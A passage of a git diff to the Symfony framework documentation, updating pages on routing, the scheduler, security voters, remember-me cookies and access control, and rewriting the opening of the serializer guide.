@@ -307,7 +307,7 @@ arbitrary matching logic:
 
         post_show:
             path:       /posts/{id}
-            controller: 'App\Controller\DefaultController::showPost'
+            controller: App\Controller\DefaultController::showPost
             # expressions can retrieve route parameter values using the "params" variable
             condition:  "params['id'] < 1000"
 
@@ -406,7 +406,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
 
-.. caution::
+.. warning::
 
     Conditions are *not* taken into account when generating URLs (which is
     explained later in this article).
@@ -649,6 +649,51 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            // src/Controller/BlogController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Attribute\Route;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            class BlogController extends AbstractController
+            {
+                #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])]
+                public function list(int $page): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: yaml
+
+            # config/routes.yaml
+            blog_list:
+                path:       /blog/{page}
+                controller: App\Controller\BlogController::list
+                requirements:
+                    page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS
+
+        .. code-block:: php
+
+            // config/routes.php
+            use App\Controller\BlogController;
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            return static function (RoutingConfigurator $routes): void {
+                $routes->add('blog_list', '/blog/{page}')
+                    ->controller([BlogController::class, 'list'])
+                    ->requirements(['page' => Requirement::DIGITS])
+                ;
+                // ...
+            };
+
 .. tip::
 
     Route requirements (and route paths too) can include
@@ -808,7 +853,7 @@ other configuration formats they are defined with the ``defaults`` option:
 Now, when the user visits ``/blog``, the ``blog_list`` route will match and
 ``$page`` will default to a value of ``1``.
 
-.. caution::
+.. warning::
 
     You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``),
     but everything after an optional parameter must be optional. For example,
@@ -1489,6 +1534,12 @@ when importing the routes.
             ;
         };
 
+.. warning::
+
+    The ``exclude`` option only works when the ``resource`` value is a glob string.
+    If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
+    value will be ignored.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
@@ -2291,7 +2342,7 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
-.. caution::
+.. warning::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
@@ -2321,7 +2372,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
     class SomeService
     {
         public function __construct(
-            private UrlGeneratorInterface $router,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 
@@ -2330,20 +2381,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
             // ...
 
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
             // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
         }
     }
 
@@ -2751,6 +2802,11 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
+    ``+`` characters, as these may cause issues with certain clients.
+
 Troubleshooting
 ---------------
 
diff --git a/scheduler.rst b/scheduler.rst
index c816e6e08c0..c0db986d8c0 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -785,6 +785,13 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+.. tip::
+
+    Depending on your deployment scenario, you may prefer automating the execution of
+    the Messenger worker process using tools like cron, Supervisor, or systemd.
+    This ensures workers are running continuously. For more details, refer to the
+    `Deploying to Production`_ section of the Messenger component documentation.
+
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -970,6 +977,7 @@ When using the ``RedispatchMessage``, Symfony will attach a
 helping you identify those messages when needed.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/
diff --git a/security.rst b/security.rst
index 232188fe257..ca910765be0 100644
--- a/security.rst
+++ b/security.rst
@@ -712,7 +712,7 @@ many other authenticators:
 
     If your application logs users in via a third-party service such as
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
-    community bundle.
+    community bundle or `Oauth2-client`_ package.
 
 .. _security-form-login:
 
@@ -890,7 +890,7 @@ Finally, create or update the template:
         </form>
     {% endblock %}
 
-.. caution::
+.. warning::
 
     The ``error`` variable passed into the template is an instance
     of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
@@ -1016,7 +1016,7 @@ be ``authenticate``:
     <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
-        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+        <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}">
 
         <button type="submit">login</button>
     </form>
@@ -1744,7 +1744,7 @@ You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
-    namespace App\Controller\SecurityController;
+    namespace App\Controller;
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;
@@ -2254,7 +2254,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
 ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
 ``ROLE_ADMIN``).
 
-.. caution::
+.. warning::
 
     For role hierarchy to work, do not use ``$user->getRoles()`` manually.
     For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
@@ -2549,6 +2549,17 @@ the built-in ``is_granted()`` helper function in any Twig template:
 
 .. _security-isgranted:
 
+Similarly, if you want to check if a specific user has a certain role, you can use
+the built-in ``is_granted_for_user()`` helper function:
+
+.. code-block:: html+twig
+
+    {% if is_granted_for_user(user, 'ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
+
+.. _security-isgrantedforuser:
+
 Securing other Services
 .......................
 
@@ -2585,6 +2596,19 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+
+.. tip::
+
+    The ``isGranted()`` method checks authorization for the currently logged-in user.
+    If you need to check authorization for a different user or when the user session
+    is unavailable (e.g., in a CLI context such as a message queue or cron job), you
+    can use the ``isGrantedForUser()`` method to explicitly set the target user.
+
+    .. versionadded:: 7.3
+
+        The :method:`Symfony\\Bundle\\SecurityBundle\\Security::isGrantedForUser`
+        method was introduced in Symfony 7.3.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
 thanks to autowiring and the ``Security`` type-hint.
@@ -2782,6 +2806,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
 Then, your ``isEqualTo()`` method will be called when comparing users instead
 of the core logic.
 
+.. _security-security-events:
+
 Security Events
 ---------------
 
@@ -2972,3 +2998,4 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client
diff --git a/security/access_control.rst b/security/access_control.rst
index cd94c930592..8e62e8a84c7 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -213,7 +213,7 @@ Example #7:
   * **Why?** This doesn't match any ``access_control`` rules, since its URI
   * doesn't match any of the ``path`` values.
 
-.. caution::
+.. warning::
 
     Matching the URI is done without ``$_GET`` parameters.
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
@@ -246,7 +246,7 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
-.. caution::
+.. warning::
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
@@ -268,7 +268,7 @@ entry that *only* matches requests coming from some IP address or range.
 For example, this *could* be used to deny access to a URL pattern to all
 requests *except* those from a trusted, internal server.
 
-.. caution::
+.. warning::
 
     As you'll read in the explanation below the example, the ``ips`` option
     does not restrict to a specific IP address. Instead, using the ``ips``
diff --git a/security/access_token.rst b/security/access_token.rst
index 114c4b8964a..c0ff4692676 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -107,7 +107,7 @@ This handler must implement
 The access token authenticator will use the returned user identifier to
 load the user using the :ref:`user provider <security-user-providers>`.
 
-.. caution::
+.. warning::
 
     It is important to check the token if is valid. For instance, the
     example above verifies whether the token has not expired. With
@@ -136,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_:
     The token is part of the request body during a POST request. Usually
     ``access_token``.
 
-.. caution::
+.. warning::
 
     Because of the security weaknesses associated with the URI method,
     including the high likelihood that the URL or the request body
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 689df6108e3..8b2ec9d7f34 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -153,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator
 can define what happens in these cases:
 
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
-    If the user is authenticated, this method is called with the
-    authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to some page).
+    If authentication is successful, this method is called with the
+    authenticated ``$token``.
 
-    If ``null`` is returned, the request continues like normal (i.e. the
-    controller matching the login route is called). This is useful for API
-    routes where each route is protected by an API key header.
+    This method can return a response (e.g. redirect the user to some page).
+
+    If ``null`` is returned, the current request will continue (and the
+    user will be authenticated). This is useful for API routes where each
+    route is protected by an API key header.
 
 ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
-    If an ``AuthenticationException`` is thrown during authentication, the
-    process fails and this method is called. This method can return a
-    response (e.g. to return a 401 Unauthorized response in API routes).
+    If authentication failed (e. g. wrong username password), this method
+    is called with the ``AuthenticationException`` thrown.
+
+    This method can return a response (e.g. send a 401 Unauthorized in API
+    routes).
 
-    If ``null`` is returned, the request continues like normal. This is
-    useful for e.g. login forms, where the login controller is run again
-    with the login errors.
+    If ``null`` is returned, the request continues (but the user will **not**
+    be authenticated). This is useful for login forms, where the login
+    controller is run again with the login errors.
 
     If you're using :ref:`login throttling <security-login-throttling>`,
     you can check if ``$exception`` is an instance of
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 41f055ea39a..6f22e7aace6 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without
 having to log out and log in again (for instance when you are debugging something
 a user sees that you can't reproduce).
 
-.. caution::
+.. warning::
 
     User impersonation is not compatible with some authentication mechanisms
     (e.g. ``REMOTE_USER``) where the authentication information is expected to be
@@ -368,13 +368,14 @@ logic you want::
 
     use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
     {
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -393,12 +394,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->security->isGranted('ROLE_TECH_SUPPORT')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/ldap.rst b/security/ldap.rst
index 6466178ee69..081be764290 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,14 +197,14 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. caution::
+.. danger::
 
     The Security component escapes provided input data when the LDAP user
     provider is used. However, the LDAP component itself does not provide
     any escaping yet. Thus, it's your responsibility to prevent LDAP injection
     attacks when using the component directly.
 
-.. caution::
+.. warning::
 
     The user configured above in the user provider is only used to retrieve
     data. It's a static user defined by its username and password (for improved
diff --git a/security/login_link.rst b/security/login_link.rst
index e80a3cb27b0..57d353278c2 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
 
-.. caution::
+.. warning::
 
     It is important to send this link to the user and **not show it directly**,
     as that would allow anyone to login. For instance, use the
diff --git a/security/passwords.rst b/security/passwords.rst
index 09e01507dec..fe20187b3a0 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -644,7 +644,7 @@ the name of the hasher to use::
         }
     }
 
-.. caution::
+.. warning::
 
     When :ref:`migrating passwords <security-password-migration>`, you don't
     need to implement ``PasswordHasherAwareInterface`` to return the legacy
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8fac6d78849..2fd0f7e8d1e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -19,7 +19,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%' # required
+                        secret: '%kernel.secret%'
                         lifetime: 604800 # 1 week in seconds
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
@@ -44,7 +44,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- secret: required
+                    <!-- secret: default to "%kernel.secret%"
                          lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
@@ -67,7 +67,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%') // required
+                    ->secret('%kernel.secret%')
                     ->lifetime(604800) // 1 week in seconds
 
                     // by default, the feature is enabled by checking a
@@ -77,9 +77,11 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``secret`` option is the only required option and it is used to sign
-the remember me cookie. It's common to use the ``kernel.secret`` parameter,
-which is defined using the ``APP_SECRET`` environment variable.
+.. versionadded:: 7.2
+
+    The ``secret`` option is no longer required starting from Symfony 7.2. By
+    default, ``%kernel.secret%`` is used, which is defined using the
+    ``APP_SECRET`` environment variable.
 
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
@@ -171,7 +173,6 @@ allow users to opt-out. In these cases, you can use the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         always_remember_me: true
 
@@ -194,7 +195,6 @@ allow users to opt-out. In these cases, you can use the
                     <!-- ... -->
 
                     <remember-me
-                        secret="%kernel.secret%"
                         always-remember-me="true"
                     />
                 </firewall>
@@ -211,7 +211,6 @@ allow users to opt-out. In these cases, you can use the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->alwaysRememberMe(true)
             ;
@@ -335,7 +334,6 @@ are fetched from the user object using the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         signature_properties: ['password', 'updatedAt']
 
@@ -357,7 +355,7 @@ are fetched from the user object using the
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <signature-property>password</signature-property>
                         <signature-property>updatedAt</signature-property>
                     </remember-me>
@@ -375,7 +373,6 @@ are fetched from the user object using the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->signatureProperties(['password', 'updatedAt'])
             ;
@@ -419,7 +416,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         token_provider:
                             doctrine: true
@@ -442,7 +438,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <token-provider doctrine="true"/>
                     </remember-me>
                 </firewall>
@@ -459,7 +455,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->tokenProvider([
                         'doctrine' => true,
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 17a18468168..09d47c270f2 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in
             ;
         };
 
-.. caution::
+.. warning::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
     to choose an encoding without salt (i.e. ``bcrypt``).
diff --git a/security/voters.rst b/security/voters.rst
index 01be3eb0745..e7452fadf99 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -237,22 +237,22 @@ Checking for Roles inside a Voter
 ---------------------------------
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
-to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Bundle\\SecurityBundle\\Security`
-into your voter. You can use this to, for example, *always* allow access to a user
+to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an
+:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>`
+inside your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Bundle\SecurityBundle\Security;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
 
     class PostVoter extends Voter
     {
         // ...
 
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -261,7 +261,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 
@@ -269,6 +269,25 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
+.. warning::
+
+    In the previous example, avoid using the following code to check if a role
+    is granted permission::
+
+        // DON'T DO THIS
+        use Symfony\Component\Security\Core\Security;
+        // ...
+
+        if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            // ...
+        }
+
+    The ``Security::isGranted()`` method inside a voter has a significant
+    drawback: it does not guarantee that the checks are performed on the same
+    token as the one in your voter. The token in the token storage might have
+    changed or could change in the meantime. Always use the ``AccessDecisionManager``
+    instead.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).
diff --git a/serializer.rst b/serializer.rst
index 91fd92a39a3..d541310aa15 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,10 +1,17 @@
 How to Use the Serializer
 =========================
 
-Symfony provides a serializer to serialize/deserialize to and from objects and
-different formats (e.g. JSON or XML). Before using it, read the
-:doc:`Serializer component docs </components/serializer>` to get familiar with
-its philosophy and the normalizers and encoders terminology.
+Symfony provides a serializer to transform data structures from one format
+to PHP objects and the other way around.
+
+This is most commonly used when building an API or communicating with third
+party APIs. The serializer can transform an incoming JSON request payload
+to a PHP object that is consumed by your application. Then, when generating
+the response, you can use the serializer to transform the PHP objects back
+to a JSON response.
+
+It can also be used to for instance load CSV configuration data as PHP
+objects, or even to transform between formats (e.g. YAML to XML).
 
 .. _activating_the_serializer:
 
@@ -12,424 +19,446 @@ Installation
 ------------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it:
+install the serializer :ref:`Symfony pack <symfony-packs>` before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/serializer-pack
 
-Using the Serializer Service
-----------------------------
+.. note::
+
+    The serializer pack also installs some commonly used optional
+    dependencies of the Serializer component. When using this component
+    outside the Symfony framework, you might want to start with the
+    ``symfony/serializer`` package and install optional dependencies if you
+    need them.
 
-Once enabled, the serializer service can be injected in any service where
-you need it or it can be used in a controller::
+.. seealso::
 
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+    A popular alternative to the Symfony Serializer component is the third-party
+    library, `JMS serializer`_.
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Serializer\SerializerInterface;
+Serializing an Object
+---------------------
 
-    class DefaultController extends AbstractController
+For this example, assume the following class exists in your project::
+
+    // src/Model/Person.php
+    namespace App\Model;
+
+    class Person
     {
-        public function index(SerializerInterface $serializer): Response
+        public function __construct(
+            private int $age,
+            private string $name,
+            private bool $sportsperson
+        ) {
+        }
+
+        public function getAge(): int
+        {
+            return $this->age;
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function isSportsperson(): bool
         {
-            // keep reading for usage examples
+            return $this->sportsperson;
         }
     }
 
-Or you can use the ``serialize`` Twig filter in a template:
+If you want to transform objects of this type into a JSON structure (e.g.
+to send them via an API response), get the ``serializer`` service by using
+the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type:
 
-.. code-block:: twig
+.. configuration-block::
 
-    {{ object|serialize(format = 'json') }}
+    .. code-block:: php-symfony
 
-See the :doc:`twig reference </reference/twig_reference>` for
-more information.
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-Adding Normalizers and Encoders
--------------------------------
+        use App\Model\Person;
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Serializer\SerializerInterface;
 
-Once enabled, the ``serializer`` service will be available in the container.
-It comes with a set of useful :ref:`encoders <component-serializer-encoders>`
-and :ref:`normalizers <component-serializer-normalizers>`.
-
-Encoders supporting the following formats are enabled:
-
-* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-
-As well as the following normalizers:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-
-Other :ref:`built-in normalizers <component-serializer-normalizers>` and
-custom normalizers and/or encoders can also be loaded by tagging them as
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
-possible to set the priority of the tag in order to decide the matching order.
+        class PersonController extends AbstractController
+        {
+            public function index(SerializerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-.. danger::
+                $jsonContent = $serializer->serialize($person, 'json');
+                // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    Always make sure to load the ``DateTimeNormalizer`` when serializing the
-    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
-    usage and exposing internal details.
+                return JsonResponse::fromJsonString($jsonContent);
+            }
+        }
 
-.. _serializer_serializer-context:
+    .. code-block:: php-standalone
 
-Serializer Context
-------------------
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-The serializer can define a context to control the (de)serialization of
-resources. This context is passed to all normalizers. For example:
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
-  ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
-  of ``[]`` in JSON.
-* :class:`Symfony\\Component\\Serializer\\Serializer`
-  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
-  of ``[]`` in JSON.
+        $person = new Person('Jane Done', 39, false);
 
-You can pass the context as follows::
+        $jsonContent = $serializer->serialize($person, 'json');
+        // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    $serializer->serialize($something, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
+is the object to be serialized and the second is used to choose the proper
+encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
 
-    $serializer->deserialize($someJson, Something::class, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+.. tip::
 
-You can also configure the default context through the framework
-configuration:
+    When your controller class extends ``AbstractController`` (like in the
+    example above), you can simplify your controller by using the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json`
+    method to create a JSON response from an object using the Serializer::
 
-.. configuration-block::
+        class PersonController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-    .. code-block:: yaml
+                // when the Serializer is not available, this will use json_encode()
+                return $this->json($person);
+            }
+        }
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                default_context:
-                    enable_max_depth: true
-                    yaml_indentation: 2
+Using the Serializer in Twig Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: xml
+You can also serialize objects in any Twig template using the ``serialize``
+filter:
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer>
-                <default-context enable-max-depth="true" yaml-indentation="2"/>
-            </framework:serializer>
-        </framework:config>
+.. code-block:: twig
 
-    .. code-block:: php
+    {{ person|serialize(format = 'json') }}
 
-        // config/packages/framework.php
-        use Symfony\Component\Serializer\Encoder\YamlEncoder;
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-        use Symfony\Config\FrameworkConfig;
+See the :ref:`twig reference <reference-twig-filter-serialize>` for more
+information.
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()
-                ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
-                    YamlEncoder::YAML_INDENTATION => 2,
-                ])
-            ;
-        };
+Deserializing an Object
+-----------------------
 
-You can also specify the context on a per-property basis::
+APIs often also need to convert a formatted request body (e.g. JSON) to a
